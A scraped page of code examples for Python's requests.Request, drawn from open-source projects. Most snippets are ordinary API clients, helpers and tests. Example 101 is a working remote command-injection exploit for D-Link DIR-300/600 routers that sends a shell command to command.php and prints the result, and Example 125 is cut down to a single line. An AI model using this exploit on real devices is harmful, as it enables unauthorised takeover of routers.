requests.Request

Here are the examples of the python api requests.Request taken from open source projects. By voting up you can indicate which examples are most useful and appropriate.

157 Examples 7

Example 101

Project: rext Source File: dir300_600_exec.py
    def do_run(self, e):
        url = "http://%s:%s/command.php" % (self.host, self.port)

        payload = {'cmd': '%s; echo end' % self.command}
        headers = {'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
                   'Accept-Language': 'Accept-Language: en-us,en;q=0.5',
                   'Accept-Encoding': 'gzip, deflate',
                   'Content-Type': 'application/x-www-form-urlencoded;charset=utf-8'
                   }
        try:
            print_yellow("Sending exploit")
            # Requests forces URI encoding and can't be turned off
            # so we have to prepare HTTP request manually and modify it with urllib.parse.quote before sending
            request = requests.Request('POST', url, headers=headers, data=payload)
            r = request.prepare()
            # print("Before modification:", r.body)
            r.body = urllib.parse.quote('cmd=%s; echo end' % self.command, safe='/=')
            r.headers.update({'Content-Length': len(r.body)})
            # print("After modification:", r.body)
            s = requests.Session()
            response = s.send(r, timeout=15)
            s.close()
            # This won't work
            # response = requests.post(url, headers=headers, data=payload, proxies=proxies, timeout=60)
            if "end" in response.text:  # end8758 is unique tag to search for in output
                print_success("output of %s:" % self.command)
                print_green(response.text)
            else:
                print_error("could not find marker in response, exploit failed")
        except requests.Timeout:
            print_error("timeout")
        except requests.ConnectionError:
            print_error("exploit failed or you killed httpd")

Example 102

Project: silo.pub Source File: wordpress.py
def publish(site):
    new_post_url = API_NEW_POST_URL.format(site.site_id)

    data = {
        'title': request.form.get('name'),
        'content': util.get_complex_content(request.form),
        'excerpt': request.form.get('summary'),
        'slug': request.form.get('slug'),
    }

    files = None
    photo_files = util.get_possible_array_value(request.files, 'photo')
    photo_urls = util.get_possible_array_value(request.form, 'photo')
    if photo_files or photo_urls:
        data['format'] = 'image'
        if photo_files:
            files = {
                'media[]': [(os.path.basename(photo_file.filename), photo_file)
                            for photo_file in photo_files],
            }
        if photo_urls:
            data['media_urls[]'] = photo_urls

    req = requests.Request('POST', new_post_url, data=util.trim_nulls(data),
                           files=files, headers={
        'Authorization': 'Bearer ' + site.token
    })

    req = req.prepare()
    s = requests.Session()
    r = s.send(req)

    if r.status_code // 100 != 2:
        return util.wrap_silo_error_response(r)

    r_data = r.json()
    return util.make_publish_success_response(r_data.get('URL'), data=r_data)

Example 103

Project: ekanalyzer Source File: ekanalyzer.py
@celery.task
def process_request(ip, uri, method, headers, data, pcap_hash, pcap_id):



    user_agents = app.config['USER_AGENTS']

    # FIXME: check case
    if 'user-agent' in headers:
        user_agents.append(headers['user-agent'])
    else:
        user_agents.append("")

    for user_agent in user_agents:
        headers['user-agent'] = user_agent


        #FIXME: port 80
        #FIXME: ConnectionError
        url = "http://{0}:80{1}".format(ip, uri)


        #proxies = {
        # "http": "http://127.0.0.1:8080"        
        #}

        s = Session()
        req = Request(method, url,
            data=data,
            headers=headers
        )
        prepped = req.prepare()

        try:
          resp = s.send(prepped, 
              timeout=3,
              allow_redirects=False,
              #proxies=proxies
          )
        except requests.ConnectionError:
          pending_tasks = memcache.get(str(pcap_id) + "_tasks")
          remaining_tasks = int(pending_tasks) - 1
          memcache.set(str(pcap_id) + "_tasks", remaining_tasks )
          continue
        except requests.exceptions.ReadTimeout:
          pending_tasks = memcache.get(str(pcap_id) + "_tasks")
          remaining_tasks = int(pending_tasks) - 1
          memcache.set(str(pcap_id) + "_tasks", remaining_tasks )
          continue

        #user agent hash
        m = hashlib.md5()
        m.update(user_agent)
        UA = m.hexdigest()


        fpath = "workspace/" + str(pcap_id) + "/" + UA + "/" + headers['host'] + uri
        dpath = os.path.dirname(fpath)


        if not os.path.exists(dpath):
            os.makedirs(dpath)

        response = resp.content

        # FIXME: uris ending with / are not saved properly
        try:
            if not os.path.isdir(fpath):        
                with open(fpath, "w") as f:
                    f.write(response)
        #FIXME: manage files in GridFS
        except IOError:
            pass



        # response hash
        m = hashlib.sha256()
        m.update(response)
        hash = m.hexdigest()


        # filetype & mimetype
        filetype = magic.from_buffer(response)
        mimetype = magic.from_buffer(response, mime=True)


        

        tags = { 'clean' : 0, 'suspicious' : 0, 'malicious' : 0 }

        malicious = False        

        ymatches = None

        unpacked = ''
        
        vt_report = check_vt(hash, mimetype)

        if vt_report != None:
          try:
            if vt_report['positives'] > 0:  
              tags['malicious'] += 1
              malicious = True
          except KeyError:
            pass

        # FIXME: check VT after unpack/decompress
        # Prepare for YARA        
        # FIXME: ZWS http://malware-traffic-analysis.net/2014/09/23/index.html
        try:
          if mimetype == "application/x-shockwave-flash" and filetype.find("CWS"):
              #print "compressed SWF detected"
              f = open(fpath, "rb")
              f.read(3) # skip 3 bytes
              tmp = 'FWS' + f.read(5) + zlib.decompress(f.read())
              decompressed = fpath + ".decompressed"
              with open(decompressed, "w") as f:
                  f.write(tmp)
              unpacked = tmp

          elif mimetype == "application/zip":
              extracted = extract_zip(fpath)

              for name, content in extracted.iteritems():
                  unpacked += content 

          else:
              unpacked = response

          ymatches = rules.match(data=unpacked)
          if not bool(ymatches):
              ymatches = None
          else:
              tags['suspicious'] += 1
        except:
          print "Unexpected error:", sys.exc_info()

        # ClamAV analysis
        clamav = cd.scan_stream(unpacked)
        if clamav:
            tags['malicious'] += 1


        #FIXME: add html/javascript analysis here

        #FIXME: add peepdf based analysis here



        # Review tags before analysis
        if tags['malicious'] == 0 and tags['suspicious'] == 0:
            tags['clean'] = 1

        # FIXME: remove 'malicious': malicious
        # FIXME: maybe hash is not necesary
        analysis_data = {   'pcap_id' : ObjectId(pcap_id),
                            'hash': pcap_hash, 
                            'tags': tags, 
                            'filetype': filetype,
                            'mimetype': mimetype, 
                            'yara' : ymatches, 
                            'clamav' : clamav, 
                            'user-agent': user_agent, 
                            'UA' : UA,  
                            'host': headers['host'], 
                            'uri' : uri, 
                            'data' : data, 
                            'status_code': resp.status_code, 
                            'content_hash': hash, 
                            'vt' : vt_report,
                            'date' : datetime.datetime.utcnow() 
                        }

        db.analysis.insert(analysis_data)
        pending_tasks = memcache.get(str(pcap_id) + "_tasks")
        remaining_tasks = int(pending_tasks) - 1
        memcache.set(str(pcap_id) + "_tasks", remaining_tasks )

Example 104

Project: MechanicalSoup Source File: browser.py
    def _build_request(self, form, url=None, **kwargs):
        method = str(form.get("method", "get"))
        action = form.get("action")
        url = urllib.parse.urljoin(url, action)
        if url is None:  # This happens when both `action` and `url` are None.
            raise ValueError('no URL to submit to')

        # read http://www.w3.org/TR/html5/forms.html
        data = kwargs.pop("data", dict())
        files = kwargs.pop("files", dict())

        for input in form.select("input"):
            name = input.get("name")
            if not name:
                continue

            if input.get("type") in ("radio", "checkbox"):
                if "checked" not in input.attrs:
                    continue
                value = input.get("value", "on")
            else:
                # web browsers use empty string for inputs with missing values
                value = input.get("value", "")

            if input.get("type") == "checkbox":
                data.setdefault(name, []).append(value)

            elif input.get("type") == "file":
                # read http://www.cs.tut.fi/~jkorpela/forms/file.html
                # in web browsers, file upload only happens if the form"s (or
                # submit button"s) enctype attribute is set to
                # "multipart/form-data". we don"t care, simplify.
                if not value:
                    continue
                if isinstance(value, string_types):
                    value = open(value, "rb")
                files[name] = value

            else:
                data[name] = value

        for textarea in form.select("textarea"):
            name = textarea.get("name")
            if not name:
                continue
            data[name] = textarea.text

        for select in form.select("select"):
            name = select.get("name")
            if not name:
                continue
            multiple = "multiple" in select.attrs
            values = []
            for i, option in enumerate(select.select("option")):
                if (i == 0 and not multiple) or "selected" in option.attrs:
                    values.append(option.get("value", ""))
            if multiple:
                data[name] = values
            elif values:
                data[name] = values[-1]

        if method.lower() == "get":
            kwargs["params"] = data
        else:
            kwargs["data"] = data
        return requests.Request(method, url, files=files, **kwargs)

Example 105

Project: ThreatExchange Source File: request.py
    @classmethod
    def request_dict(cls,
                     type_,
                     url,
                     params=None,
                     body=None):
        """
        Return a dictionary with the request type, URL, and optionally a body.

        :param type_: The request type.
        :type type_: str
        :param url: The request URL.
        :type url: str
        :param params: The parameters to submit.
        :type params: dict
        :param body: The body to submit.
        :type body: str
        :returns: dict
        """

        request = requests.Request(type_, url, params=params)
        prep = request.prepare()
        full_url = prep.url
        if body:
            body = urllib.urlencode(body)
        return {'type': type_,
                'url': full_url,
                'body': body}

Example 106

Project: swagger-py Source File: http_client.py
Function: ws_connect
    def ws_connect(self, url, params=None):
        """Websocket-client based implementation.

        :return: WebSocket connection
        :rtype:  websocket.WebSocket
        """
        # Build a prototype request and apply authentication to it
        proto_req = requests.Request('GET', url, params=params)
        self.apply_authentication(proto_req)
        # Prepare the request, so params will be put on the url,
        # and authenticators can manipulate headers
        preped_req = proto_req.prepare()
        # Pull the Authorization header, if needed
        header = ["%s: %s" % (k, v)
                  for (k, v) in preped_req.headers.items()
                  if k == 'Authorization']
        # Pull the URL, which includes query params
        url = preped_req.url
        # Requests version 2.0.0 (at least) will no longer form a URL for us
        # for ws scheme types, so we do it manually
        if params:
            joined_params = "&".join(["%s=%s" % (k, v)
                                     for (k, v) in params.items()])
            url += "?%s" % joined_params
        return websocket.create_connection(url, header=header)

Example 107

Project: activesoup Source File: driver.py
Function: get
    def get(self, url, **kwargs):
        return self.do(requests.Request(method='GET', url=url))

Example 108

Project: cgstudiomap Source File: pygeocoder.py
Function: get_data
    @omnimethod
    def get_data(self, params={}):
        """
        Retrieve a JSON object from a (parameterized) URL.

        :param params: Dictionary mapping (string) query parameters to values
        :type params: dict
        :return: JSON object with the data fetched from that URL as a JSON-format object.
        :rtype: (dict or array)

        """
        request = requests.Request(
            'GET',
            url=Geocoder.GEOCODE_QUERY_URL,
            params=params,
            headers={
                'User-Agent': Geocoder.USER_AGENT
            })

        if self and self.client_id and self.private_key:
            request = self.add_signature(request)
        elif self and self.api_key:
            request.params['key'] = self.api_key

        session = requests.Session()

        if self and self.proxy:
            session.proxies = {'https': self.proxy}

        response = session.send(request.prepare())
        session.close()

        if response.status_code == 403:
            raise GeocoderError("Forbidden, 403", response.url)
        response_json = response.json()

        if response_json['status'] != GeocoderError.G_GEO_OK:
            raise GeocoderError(response_json['status'], response.url)
        return response_json['results']

Example 109

Project: incubator-airflow Source File: http_hook.py
Function: run
    def run(self, endpoint, data=None, headers=None, extra_options=None):
        """
        Performs the request
        """
        extra_options = extra_options or {}

        session = self.get_conn(headers)

        url = self.base_url + endpoint
        req = None
        if self.method == 'GET':
            # GET uses params
            req = requests.Request(self.method,
                                   url,
                                   params=data,
                                   headers=headers)
        else:
            # Others use data
            req = requests.Request(self.method,
                                   url,
                                   data=data,
                                   headers=headers)

        prepped_request = session.prepare_request(req)
        logging.info("Sending '" + self.method + "' to url: " + url)
        return self.run_and_check(session, prepped_request, extra_options)

Example 110

Project: livestreamer Source File: twitch.py
Function: create_url
    def _create_url(self, endpoint, **extra_params):
        url = "http://usher.twitch.tv{0}".format(endpoint)
        params = {
            "player": "twitchweb",
            "p": int(random() * 999999),
            "type": "any",
            "allow_source": "true",
            "allow_audio_only": "true",
            "allow_spectre": "false",
        }
        params.update(extra_params)

        req = requests.Request("GET", url, params=params)
        # prepare_request is only available in requests 2.0+
        if hasattr(http, "prepare_request"):
            req = http.prepare_request(req)
        else:
            req = req.prepare()

        return req.url

Example 111

Project: golismero Source File: benchmark_httplibs.py
Function: request_test
def request_test():
    from requests import Request, Session

    errors = 0
    oks = 0
    for a in url:
        try:
            req = Request(url=a)
            p = req.prepare()

            s = Session()
            r = s.send(p)
            oks += 1
        except:
            errors += 1
            continue

        print ".",
    print
    print "Errors: %s | Oks: %s." % (str(errors), str(oks))

Example 112

Project: foauth.org Source File: providers.py
Function: get_authorize_url
    def get_authorize_url(self, redirect_uri, scopes):
        params = self.get_authorize_params(redirect_uri=redirect_uri,
                                           scopes=scopes)
        req = requests.Request(url=self.authorize_url, params=params)
        return req.prepare().url

Example 113

Project: dcos-cli Source File: test_marathon.py
def test_rpc_client_http_req_propagates_method_fn_exception_1():
    request = requests.Request(method='ANY', url='http://arbitrary/url')
    response = requests.Response()
    response.status_code = 403
    response.reason = 'Forbidden'
    response.request = request

    def method_fn(*args, **kwargs):
        raise DCOSHTTPException(response)

    rpc_client = marathon.RpcClient('http://base/url')
    with pytest.raises(DCOSException) as e:
        rpc_client.http_req(method_fn, 'some/path')

    expected_message = marathon.RpcClient.response_error_message(
        status_code=403,
        reason='Forbidden',
        request_method='ANY',
        request_url='http://arbitrary/url',
        json_body=None)
    assert str(e).endswith(expected_message)

Example 114

Project: socketIO-client Source File: transports.py
    def __init__(self, http_session, is_secure, url, engineIO_session=None):
        super(WebsocketTransport, self).__init__(
            http_session, is_secure, url, engineIO_session)
        params = dict(http_session.params, **{
            'EIO': ENGINEIO_PROTOCOL, 'transport': 'websocket'})
        request = http_session.prepare_request(requests.Request('GET', url))
        kw = {'header': ['%s: %s' % x for x in request.headers.items()]}
        if engineIO_session:
            params['sid'] = engineIO_session.id
            kw['timeout'] = self._timeout = engineIO_session.ping_timeout
        ws_url = '%s://%s/?%s' % (
            'wss' if is_secure else 'ws', url, format_query(params))
        http_scheme = 'https' if is_secure else 'http'
        if http_scheme in http_session.proxies:  # Use the correct proxy
            proxy_url_pack = parse_url(http_session.proxies[http_scheme])
            kw['http_proxy_host'] = proxy_url_pack.hostname
            kw['http_proxy_port'] = proxy_url_pack.port
            if proxy_url_pack.username:
                kw['http_proxy_auth'] = (
                    proxy_url_pack.username, proxy_url_pack.password)
        if http_session.verify:
            if http_session.cert:  # Specify certificate path on disk
                if isinstance(http_session.cert, six.string_types):
                    kw['ca_certs'] = http_session.cert
                else:
                    kw['ca_certs'] = http_session.cert[0]
        else:  # Do not verify the SSL certificate
            kw['sslopt'] = {'cert_reqs': ssl.CERT_NONE}
        try:
            self._connection = create_connection(ws_url, **kw)
        except Exception as e:
            raise ConnectionError(e)

Example 115

Project: paasta Source File: mesos_maintenance.py
Function: base_api
def base_api():
    """Helper function for making all API requests

    :returns: a function that can be callecd to make a request
    """
    leader = get_mesos_leader()

    def execute_request(method, endpoint, **kwargs):
        url = "http://%s:%d%s" % (leader, MESOS_MASTER_PORT, endpoint)
        timeout = 15
        s = Session()
        s.auth = (get_principal(), get_secret())
        req = Request(method, url, **kwargs)
        prepared = s.prepare_request(req)
        try:
            resp = s.send(
                prepared,
                timeout=timeout,
            )
            resp.raise_for_status()
            return resp
        except HTTPError:
            raise HTTPError("Error executing API request calling %s." % url)
    return execute_request

Example 116

Project: gist Source File: gist.py
Function: call
    def __call__(self, *args, **kwargs):
        """Wraps the original function and provides an initial request.

        The request object is created with the instance token as a query
        parameter, and specifies the required headers.

        """
        try:
            url = 'https://api.github.com/gists'
            params = {'access_token': self.instance.token}
            request = requests.Request(
                    self.method,
                    url,
                    headers=self.headers,
                    params=params,
                    )
            return self.func(self.instance, request, *args, **kwargs)
        finally:
            self.instance = None
            self.owner = None

Example 117

Project: python-dockercloud Source File: http.py
Function: send_request
def send_request(method, path, inject_header=True, **kwargs):
    json = None
    url = urljoin(dockercloud.rest_host.rstrip("/"), path.strip("/").encode("ascii", "ignore"))
    if not url.endswith("/"):
        url = "%s/" % url
    user_agent = 'python-dockercloud/%s' % dockercloud.__version__
    if dockercloud.user_agent:
        user_agent = "%s %s" % (dockercloud.user_agent, user_agent)

    # construct headers
    headers = {'Content-Type': 'application/json', 'User-Agent': user_agent}
    headers.update(dockercloud.auth.get_auth_header())

    # construct request
    s = get_session()
    request = Request(method, url, headers=headers, **kwargs)
    # get environment proxies
    env_proxies = utils.get_environ_proxies(url) or {}
    kw_args = {'proxies': env_proxies}

    # make the request
    req = s.prepare_request(request)
    logger.info("Prepared Request: %s, %s, %s, %s" % (req.method, req.url, req.headers, kwargs))
    response = s.send(req, **kw_args)
    status_code = getattr(response, 'status_code', None)
    logger.info("Response: Status %s, %s, %s" % (str(status_code), response.headers, response.text))

    # handle the response
    if not status_code:
        # Most likely network trouble
        raise ApiError("No Response (%s %s)" % (method, url))
    elif 200 <= status_code <= 299:
        # Success
        if status_code != 204:
            # Try to parse the response.
            try:
                json = response.json()
                if response.headers and inject_header:
                    json["dockercloud_action_uri"] = response.headers.get("X-DockerCloud-Action-URI", "")
            except TypeError:
                raise ApiError("JSON Parse Error (%s %s). Response: %s" % (method, url, response.text))
        else:
            json = None
    else:
        # Server returned an error
        if status_code == 401:
            raise AuthError("Not authorized")
        else:
            raise ApiError("Status %s (%s %s). Response: %s" % (str(status_code), method, url, response.text))
    return json

Example 118

Project: PTCAccount Source File: accountcreator.py
Function: request
    def request(self, url, headers=None, data=None, resp_code=None, **kwargs):
        """
        Creates, sends, and validates a request for this session.

        If data parameter is provided, the request will be POST, otherwise
        a GET request is sent

        If a specific response status code is
        expected, set the resp_code parameter and the status code of the
        response will be validated after sending the request. If the status
        codes doesn't match, an exception is raised.

        Args:
          url (str): URL to send.
          headers (dict, optional): Headers to send. Defaults to {}.
          data (dict, optional): Data for a POST request. Defaults to {}.
          resp_code (int, optional): Check if this status code was returned
            upon receiving a response. If no desired code is given, no
            check will be made to validate the response status_code.
            Defaults to None.
          **kwargs: Keyword arguments passed to the Request object.

        Returns:
          requests.Response: The Response object for the sent request.

        Raises:
          PTCInvalidStatusCodeException: If a desired response code was
            provided (resp_code), raise this exception if the actual
            response status codes does not match the desired code.
        """
        # Set headers to an empty dict if no argument provided
        headers = {} if headers is None else headers

        # Encode the data dict if provided
        if isinstance(data, dict):
            data = urlencode(data, doseq=True)
        # If data provided, the request must be a POST method
        method = 'POST' if data else 'GET'

        # Create, prepare, and send the request
        req = requests.Request(method, url, data=data, **kwargs)
        prepped = self.prepare_request(req)
        prepped.headers.update(headers)
        resp = self.send(prepped)

        # Validate the status_code if a desired code was given
        if resp_code is not None and resp.status_code != resp_code:
            raise PTCInvalidStatusCodeException(str(resp.status_code))

        # Return the Response object
        return resp

Example 119

Project: vnpy Source File: vnoanda.py
Function: process_request
    def processRequest(self, req):
        """发送请求并通过回调函数推送数据结果"""
        url = req['url']
        method = req['method']
        params = req['params']
        
        stream = False
        if 'stream' in req:
            stream = req['stream']

        if method in ['GET', 'DELETE']:
            myreq = requests.Request(method, url, headers=self.headers, params=params)
        elif method in ['POST', 'PATCH']:
            myreq = requests.Request(method, url, headers=self.headers, data=params)
        pre = myreq.prepare()

        r = None
        error = None
        
        try:
            r = self.session.send(pre, stream=stream)
        except Exception, e:
            error = e

        return r, error

Example 120

Project: lbry Source File: client.py
    def __call__(self, *args):
        self.__id_count += 1
        pre_auth_postdata = {'version': '1.1',
                             'method': self.__service_name,
                             'params': args,
                             'id': self.__id_count}
        to_auth = get_auth_message(pre_auth_postdata)
        token = self.__api_key.get_hmac(to_auth)
        pre_auth_postdata.update({'hmac': token})
        postdata = json.dumps(pre_auth_postdata)
        service_url = self.__service_url
        auth_header = self.__auth_header
        cookies = self.__cookies
        host = self.__url.hostname

        req = requests.Request(method='POST',
                               url=service_url,
                               data=postdata,
                               headers={'Host': host,
                                        'User-Agent': USER_AGENT,
                                        'Authorization': auth_header,
                                        'Content-type': 'application/json'},
                               cookies=cookies)
        r = req.prepare()
        http_response = self.__conn.send(r)
        cookies = http_response.cookies
        headers = http_response.headers
        next_secret = headers.get(LBRY_SECRET, False)
        if next_secret:
            self.__api_key.secret = next_secret
            self.__cookies = cookies

        if http_response is None:
            raise JSONRPCException({
                'code': -342, 'message': 'missing HTTP response from server'})

        http_response.raise_for_status()

        response = http_response.json()

        if response['error'] is not None:
            raise JSONRPCException(response['error'])
        elif 'result' not in response:
            raise JSONRPCException({
                'code': -343, 'message': 'missing JSON-RPC result'})
        else:
            return response['result']

Example 121

Project: euca2ools Source File: __init__.py
    def build_presigned_url(self, method='GET', path=None, params=None,
                            auth=None, auth_args=None):
        # requestbuilder 0.2
        msg = ('S3.build_presigned_url is deprecated; use '
               'S3Request.get_presigned_url2 instead')
        self.log.warn(msg)
        warnings.warn(msg, DeprecationWarning)
        if path:
            # We can't simply use urljoin because a path might start with '/'
            # like it could for keys that start with that character.
            if self.endpoint.endswith('/'):
                url = self.endpoint + path
            else:
                url = self.endpoint + '/' + path
        else:
            url = self.endpoint
        request = requests.Request(method=method, url=url, params=params)
        if auth is not None:
            auth.apply_to_request_params(request, self, **(auth_args or {}))
        p_request = request.prepare()
        return p_request.url

Example 122

Project: alexa-client Source File: auth_web.py
    def index(self):
        scope = "alexa_all"
        sd = json.dumps({
            "alexa:all": {
                "productID": DEVICE_TYPE_ID,
                "productInstanceAttributes": {
                    "deviceSerialNumber": "001"
                }
            }
        })
        url = "https://www.amazon.com/ap/oa"
        callback = cherrypy.url() + "authresponse"
        payload = {
            "client_id": CLIENT_ID, 
            "scope": "alexa:all", 
            "scope_data": sd, 
            "response_type": "code",
            "redirect_uri": callback
        }
        req = requests.Request('GET', url, params=payload)
        p = req.prepare()
        raise cherrypy.HTTPRedirect(p.url)

Example 123

Project: YCM_WIN_X86 Source File: test_requests.py
    def test_cannot_send_unprepared_requests(self):
        r = requests.Request(url=HTTPBIN)
        with pytest.raises(ValueError):
            requests.Session().send(r)

Example 124

Project: factual-python-driver Source File: api.py
Function: prepare_req
    def _prepare_req(self, path, params, method):
        url = self._build_base_url(path)
        req = requests.Request(method, url, params=self._transform_params(params))
        return req.prepare()

Example 125

Project: YikYakAPI Source File: yikyakapi.py
Function: get
import uuid

Example 126

Project: stream-python Source File: client.py
    def create_redirect_url(self, target_url, user_id, events):
        '''
        Creates a redirect url for tracking the given events in the context
        of an email using Stream's analytics platform. Learn more at
        getstream.io/personalization
        '''
        # generate the JWT token
        auth_token = self.create_jwt_token('redirect_and_track', '*', user_id=user_id)
        # setup the params
        params = dict(auth_type='jwt', authorization=auth_token, url=target_url)
        params['api_key'] = self.api_key
        params['events'] = json.dumps(events)
        url = self.base_analytics_url + 'redirect/'
        # we get the url from the prepare request, this skips issues with
        # python's urlencode implementation
        request = Request('GET', url, params=params)
        prepared_request = request.prepare()
        # validate the target url is valid
        Request('GET', target_url).prepare()
        return prepared_request.url

Example 127

Project: foauth.org Source File: providers.py
Function: get_login_uri
    def get_login_uri(self, redirect_uri):
        params = self.get_authorize_params(redirect_uri=redirect_uri,
                                           scopes=[])
        req = requests.Request(url=self.authorize_url, params=params)
        return req.prepare().url

Example 128

Project: dcos-cli Source File: test_marathon.py
def test_pod_feature_supported_converts_http_exceptions_to_dcos_exceptions():
    @mock.patch('dcos.http.head')
    def test_case(head_fn, status_code):
        request = requests.Request(method='ANY', url='http://arbitrary/url')
        mock_response = mock.create_autospec(requests.Response)
        mock_response.status_code = status_code
        mock_response.reason = 'Arbitrary Reason'
        mock_response.request = request
        mock_response.json.side_effect = ValueError('empty body')
        head_fn.side_effect = DCOSHTTPException(mock_response)

        rpc_client = marathon.RpcClient('http://does/not/matter')
        marathon_client = marathon.Client(rpc_client)

        with pytest.raises(DCOSException) as exception_info:
            marathon_client.pod_feature_supported()

        message = marathon.RpcClient.response_error_message(
            status_code,
            reason='Arbitrary Reason',
            request_method='ANY',
            request_url='http://arbitrary/url',
            json_body=None)
        assert str(exception_info.value).endswith(message)

    test_case(status_code=400)
    test_case(status_code=401)
    test_case(status_code=403)
    test_case(status_code=409)
    test_case(status_code=422)
    test_case(status_code=500)

Example 129

Project: grr Source File: http_connector.py
Function: build_request
  def BuildRequest(self, method_descriptor, args):
    method, url, path_params_names = self._GetMethodUrlAndPathParamsNames(
        method_descriptor.name, args)

    if method == "GET":
      body = None
      query_params = self._ArgsToQueryParams(args, path_params_names)
    else:
      body = self._ArgsToBody(args, path_params_names)
      query_params = {}

    headers = {
        "x-csrftoken": self.csrf_token,
        "x-requested-with": "XMLHttpRequest"
    }
    cookies = {"csrftoken": self.csrf_token}
    logger.debug("%s request: %s (query: %s, body: %s, headers %s)", method,
                 url, query_params, body, headers)
    return requests.Request(
        method,
        url,
        data=body,
        params=query_params,
        headers=headers,
        cookies=cookies,
        auth=self.auth)

Example 130

Project: bravado Source File: requests_client.py
Function: authenticated_request
    def authenticated_request(self, request_params):
        return self.apply_authentication(requests.Request(**request_params))

Example 131

Project: machinae Source File: base.py
    def _req(self, conf, url=None):
        if url is None:
            url = conf.get("url", "")
            if url == "":
                return
            url = url.format(**self.kwargs)
        method = conf.get("method", "get").upper()

        kwargs = dict()
        headers = conf.get("headers", {})
        if len(headers) > 0:
            kwargs["headers"] = headers
        verify_ssl = conf.get("verify_ssl", True)

        # GET params
        params = conf.get("params", {}).copy()
        for (k, v) in params.items():
            if hasattr(v, "items"):
                conf = params.pop(k)
                if "relatime" in conf:
                    dt = relatime.timeParser(conf["relatime"], timezone=str(get_localzone()))
                    target_tz = pytz.timezone(conf.get("timezone", "UTC"))
                    dt = dt.astimezone(target_tz)
                    dt = dt.replace(tzinfo=None)
                    time_format = conf.get("format", "%Y-%m-%dT%H:%M:%S.%fZ")
                    if time_format.lower() == "as_epoch":
                        params[k] = str(int(dt.timestamp()))
                    else:
                        params[k] = dt.strftime(time_format)
            else:
                params[k] = str(v).format(**self.kwargs)
        if len(params) > 0:
            kwargs["params"] = params

        # POST data
        data = conf.get("data", {})
        for (k, v) in data.items():
            data[k] = v.format(**self.kwargs)
        if len(data) > 0:
            kwargs["data"] = data

        # HTTP Basic Auth
        if conf.get("auth") and self.creds and self.creds.get(conf["auth"]):
            kwargs["auth"] = tuple(self.creds[conf["auth"]])

        # Auto decompress
        if conf.get("decompress", False):
            kwargs["hooks"] = {"response": self.unzip_content}

        raw_req = requests.Request(method, url, **kwargs)
        req = self.session.prepare_request(raw_req)
        if self.kwargs.get("verbose", False):
            print("[.] Requesting {0} ({1})".format(req.url, req.method))
        with warnings.catch_warnings():
            if not verify_ssl:
                warnings.simplefilter("ignore", exceptions.InsecureRequestWarning)
            return self.session.send(req, verify=verify_ssl)

Example 132

Project: dcos-cli Source File: test_marathon.py
def test_rpc_client_http_req_propagates_method_fn_exception_2():
    request = requests.Request(method='NONE', url='http://host/path')
    # Need the mock so that the json() method can be overridden
    response = mock.create_autospec(requests.Response)
    response.status_code = 422
    response.reason = 'Something Bad'
    response.request = request
    response.json.return_value = {'message': 'BOOM!'}

    def method_fn(*args, **kwargs):
        raise DCOSHTTPException(response)

    rpc_client = marathon.RpcClient('http://base/url')
    with pytest.raises(DCOSException) as e:
        rpc_client.http_req(method_fn, 'some/path')

    expected_message = marathon.RpcClient.response_error_message(
        status_code=422,
        reason='Something Bad',
        request_method='None',
        request_url='http://host/path',
        json_body={'message': 'BOOM!'})
    assert str(e).endswith(expected_message)

Example 133

Project: py-ipfs-api Source File: multipart.py
Function: prepare
    def _prepare(self):
        """Pre-formats the multipart HTTP request to transmit the directory."""
        names = []
        if self.directory.endswith(os.sep):
            self.directory = self.directory[:-1]
        # identify the unecessary portion of the relative path
        truncate = os.path.dirname(self.directory)
        # traverse the filesystem downward from the target directory's uri
        # Errors: `os.walk()` will simply return an empty generator if the
        # target directory does not exist.
        for curr_dir, _, files in os.walk(self.directory):
            # find the path relative to the directory being added
            if len(truncate) > 0:
                _, _, short_path = curr_dir.partition(truncate)
            else:
                short_path = curr_dir
            # remove leading / or \ if it is present
            if short_path.startswith(os.sep):
                short_path = short_path[1:]
            # create an empty, fake file to represent the directory
            mock_file = io.StringIO()
            mock_file.write(u'')
            # add this file to those that will be sent
            names.append(('files',
                         (short_path, mock_file, 'application/x-directory')))
            # iterate across the files in the current directory
            for filename in files:
                # find the filename relative to the directory being added
                short_name = os.path.join(short_path, filename)
                filepath = os.path.join(curr_dir, filename)
                # remove leading / or \ if it is present
                if short_name.startswith(os.sep):
                    short_name = short_name[1:]
                try:
                    # add the file to those being sent if it matches the
                    # given file pattern
                    if fnmatch.fnmatch(filename, self.fnpattern):
                        names.append(('files', (short_name,
                                                open(filepath, 'rb'),
                                                'application/octet-stream')))
                except OSError:
                    # File might have disappeared between `os.walk()`
                    # and `open()`
                    pass
        # send the request and present the response body to the user
        req = requests.Request("POST", 'http://localhost', files=names)
        prep = req.prepare()
        return prep

Example 134

Project: rides-python-sdk Source File: request.py
def generate_prepared_request(method, url, headers, data, params, handlers):
    """Add handlers and prepare a Request.

    Parameters
        method (str)
            HTTP Method. (e.g. 'POST')
        headers (dict)
            Headers to send.
        data (JSON-formatted str)
            Body to attach to the request.
        params (dict)
            Dictionary of URL parameters to append to the URL.
        handlers (list)
            List of callback hooks, for error handling.

    Returns
        (requests.PreparedRequest)
            The fully mutable PreparedRequest object,
            containing the exact bytes to send to the server.
    """
    request = Request(
        method=method,
        url=url,
        headers=headers,
        data=data,
        params=params,
    )

    handlers.append(error_handler)

    for handler in handlers:
        request.register_hook('response', handler)

    return request.prepare()

Example 135

Project: valor Source File: link.py
    def __call__(self, *args, **kwargs):
        # Prepare a request object. We do this instead of using
        # session.request() so that we can re-use the prepared request further
        # down if the response is paginated.
        request = requests.Request(
            method = self._link['method'],
            url = self.interpolate_args(args),
            data = self.construct_body(kwargs)
        )
        request = self._session.prepare_request(request)

        # FIXME: verify SSL - don't want to just to verify=True because that
        # makes testing hard, but it should be true by default and overridable
        # by passing in a different session. Not sure how to make that work
        # though.
        response = self._session.send(request)

        # FIXME: are we 100% sure the response is always JSON?
        response_body = response.json()

        # Handle 206 (partial conteent) by paginating.
        # See https://devcenter.heroku.com/articles/platform-api-reference#ranges
        if response.status_code == 206:
            next_range = response.headers['Next-Range']
            while next_range:
                request.headers['range'] = next_range
                response = self._session.send(request)
                response_body.extend(response.json())
                next_range = response.headers.get('Next-Range', None)

        # FIXME: if-none-match???
        elif response.status_code not in (200, 201, 202):
            response.raise_for_status()

        # targetSchema is the schema for the object(s) returned by the API call.
        # It can either be an array, in which case the schema is actually
        # link.targetSchema.items, or it can be a dict in which case the
        # targetSchema itself is the schema.
        model_schema = self._link['targetSchema']
        if model_schema.get('type') == ['array']:
            target_type = 'multi'
            model_schema = model_schema['items']
        else:
            target_type = 'single'

